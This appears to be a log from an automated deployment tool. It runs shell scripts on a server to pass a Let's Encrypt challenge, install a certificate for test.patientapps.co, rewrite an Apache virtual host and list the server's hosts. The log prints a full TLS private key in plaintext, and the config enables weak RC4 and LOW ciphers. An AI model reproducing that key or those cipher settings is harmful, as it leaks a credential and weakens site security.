MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-20 12:43:21: Establishing a connection
2025-11-20 12:43:21: Establishing a connection
2025-11-20 12:43:21: 

PUT: /tmp/pkp577390

#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-20 12:43:21: 

chmod 755 /tmp/pkp577390; /tmp/pkp577390; rm /tmp/pkp577390

2025-11-20 12:43:21: 


1


2025-11-20 12:43:22: Establishing a connection
2025-11-20 12:43:22: 

PUT: /tmp/pkp331138

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs


2025-11-20 12:43:22: 

chmod 755 /tmp/pkp331138; /tmp/pkp331138; rm /tmp/pkp331138

2025-11-20 12:43:22: 




2025-11-20 12:43:27: Establishing a connection
2025-11-20 12:43:28: 

PUT: /tmp/pkp412847

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs


2025-11-20 12:43:28: 

chmod 755 /tmp/pkp412847; /tmp/pkp412847; rm /tmp/pkp412847

2025-11-20 12:43:28: 




2025-11-20 12:43:28: Establishing a connection
2025-11-20 12:43:28: 

PUT: /tmp/pkp961250

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293

cat > $temp_file <<'endmsg'
68:42:d3:97:35:74:b7:0c:fc:32:e5:fa:ab:c8:a4:75

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBTsfSQUpgzKj8saT0oj/0EBiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIwMTE0NDU3WhcNMjYwMjE4MTE0NDU2WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAzMGunPKf+hafD/aDx95mT2fvj7MKE3dB2Lkw7jRlD52f7hTM5Xg9IO/4
LsPtVF+Mp/26dS9e/KogU3RagK15PWRmXjKr3vJYm+7e24WxqWQJiA2mE88ZoaIb
iRlmdsJUZQ3EIk7PuQT50/HJzdLmFDNnmPeBkBmaLDlHyYF3QW0MQ53DKATsSxDP
N7yA0LSTmo709xD4IXnewJPRqxMMJzkBLdgZ1KqhO3QBeRiZc8gfOYR2yFeqvNk8
Sug9AAlbdguOxIGLN30B+kP3Nmyy7q2zMAp1QjYwlDz1w7k37ytsS4lmmayKFx+7
Le08vNl1ELFjjI74jGmvTSp0gQiuhwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTY7R++pnCrtg6maYmr6nu8XLvkeDAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85OS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqhSof1AAAE
AwBIMEYCIQD5o64y3e5TdH0Po1ZXpTuQNnAZ3icwqjkCi0xvIEXsJQIhANNeYcOA
L1+YTN60GiXghxWl+hY0+6aU14pr8Nlf6kaCAHYASZybad4dfOz8Nt7Nh2SmuFuv
CoeAGdFVUvvp6ynd+MMAAAGaoUqH9QAABAMARzBFAiAusTr1Vr8KjKFSGBWb5UHd
K6Qvx3qHoe8gxhFndA/E2wIhAJP+jjVNHgVkKQAom0kvdJSWzv4sEwRF2MnwZJDq
ybuCMA0GCSqGSIb3DQEBCwUAA4IBAQAjGcXbHfre2ML3+9vnUZxtCeQLNmcnLSmJ
0dpK0M3xIYG7ByM8AvOKCsVU05s2lqxjZiz9KZYg2K090Jq/URvl/uY4o7UCexeG
YHjZJF0yMqWavC2CarBK0r1Tm528HzNEkI0zh68LWWhRh/uDiB/ko1NQTmIN+MxZ
4/Oi6CSBGBJcq8Fs+Lia9lkNTcw9eXxV3lSSLpYgcwCpMuHH+lKi0WZh3zyGFdfk
AZUvDAhut4D/uENc6Bi44BS88t0cb33sm1KdK9T198JwphiWLu5xtDORS/9qp7YB
+ewkYyAzTTOoYm2bQQkPN9/jY/eQPXqUN33ZcE33bK4abQ1QnCU2
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDMwa6c8p/6Fp8P
9oPH3mZPZ++PswoTd0HYuTDuNGUPnZ/uFMzleD0g7/guw+1UX4yn/bp1L178qiBT
dFqArXk9ZGZeMqve8lib7t7bhbGpZAmIDaYTzxmhohuJGWZ2wlRlDcQiTs+5BPnT
8cnN0uYUM2eY94GQGZosOUfJgXdBbQxDncMoBOxLEM83vIDQtJOajvT3EPghed7A
k9GrEwwnOQEt2BnUqqE7dAF5GJlzyB85hHbIV6q82TxK6D0ACVt2C47EgYs3fQH6
Q/c2bLLurbMwCnVCNjCUPPXDuTfvK2xLiWaZrIoXH7st7Ty82XUQsWOMjviMaa9N
KnSBCK6HAgMBAAECggEAZW+yJHiiPlAEnvDeGh8YilAQQx1MaZZUHZypG+kDA/hv
qY/ObgPiLLYVOn2/zmPDl9nADJvaL8vMVeu3hjXqcTqS6CmsMbfXo/BzoUcbW7J+
clNoqjmYFhXsFEBsHXtqOeHW/7QRfjRz28bV1cycRPeuY/6BxjSYxz3dTXuA6/zK
ERSi+BxLJmBPV4shiTU5VRCeeFH/RTPA6oHlvApUZxLGWowl9nkAnK3qtsT94ugo
8ZdxF638fuMETGLNdLH33GqD/Il78vWiJqVSZGlt6j1AeLpnf5SSN9JWYh5g+nR8
db69aUXA0NvulXal4Y+zmA6Zf1g73/zkRbkn2a4JIQKBgQDnodDzqFEPVBS2vIv5
VA6xUKIaoHzlaF/BepYIWWQwC4SZRhjciTb4wX3tiOqOUrTvp8IFal2Ll4SQMuuW
u7ZXPY/KHO4ZPTF7lOMXfSW+oCM4iXjJOVbG/Nd77cCnwPgJcxh+yX8yLPv8C5X9
/I54FEYur1x68WnzVk8ylQFglwKBgQDiTBHNo9ZPctx6snGEJh7jws83k/V6mPiC
AlscSuzW+NIEr8iiXeMUUjOFpC/uQWEO/aVfpAy+loXTT2bCGsqAFPuIS4gOONNn
tKZXAExSRix4KMAMpBRAP2NokHGKeRydd9VTpbszUt6HeqyAjJpFHIJIBFkX8X2X
Z6enbQzvkQKBgQCkZ6IbjzgZnSAmo6TmDtdu20Bzjb2YRoDQnuWmf2ww/bvb3nj+
7xVpckyjMC7rXaC3CWcY2OoUjjK09q9oiUtemH9agTYuC9T3VjHpFhaYOqlFE637
hQsmqYd4msPHTZu/eUXFl9cEEhG4T7DiWUP1zs4RjL4jNP5yjKwhxsj3eQKBgQDQ
cf9oK0UJ86RRRLM5ZZ/IbjZPXHOelO87Wg4wlndoYNObS4wEu3Si0EDzFdSsov5T
P6Kn4UV3/NCSXy4pF2J17l3vIpvVddSNTyJ1OyoSEt99YxPb0PtyXrEjrQFY6sxH
5AzVOvCfivK9WmsxEdI8XNFIovCqFGB6KRmOJ+3lcQKBgD28Lq3Ibg4jo3IelJ9g
Jn7yBEvLA/iIh5bbCp53cq4VBoBAk8lVk8hDyGu2s5Bv6h6nBglx8fmRLrTpZ9vu
I72nPodwrr+sCdYEhnm1onZT0LoLZ59WPpckneuMXDbUIPzrVsT8Jqf6S1mZ163V
wmt3+FQ/jYJnzWMNb3WTVE3K
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-20 12:43:28: 

chmod 755 /tmp/pkp961250; /tmp/pkp961250; rm /tmp/pkp961250

2025-11-20 12:43:28: 


dir=/etc/ssl/certs


2025-11-20 12:43:28: 

PUT: /tmp/pkp341148

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-20 12:43:28: 

chmod 755 /tmp/pkp341148; /tmp/pkp341148; rm /tmp/pkp341148

2025-11-20 12:43:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-20 12:43:28: 

PUT: /tmp/pkp253311

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi


2025-11-20 12:43:28: 

chmod 755 /tmp/pkp253311; /tmp/pkp253311; rm /tmp/pkp253311

2025-11-20 12:43:28: 




2025-11-20 12:43:28: 

PUT: /tmp/pkp610969

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-20 12:43:28: 

chmod 755 /tmp/pkp610969; /tmp/pkp610969; rm /tmp/pkp610969

2025-11-20 12:43:28: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-20 12:43:28: Establishing a connection
2025-11-20 12:43:28: 

PUT: /tmp/pkp760756

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-20 12:43:29: 

chmod 755 /tmp/pkp760756; /tmp/pkp760756; rm /tmp/pkp760756

2025-11-20 12:43:29: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
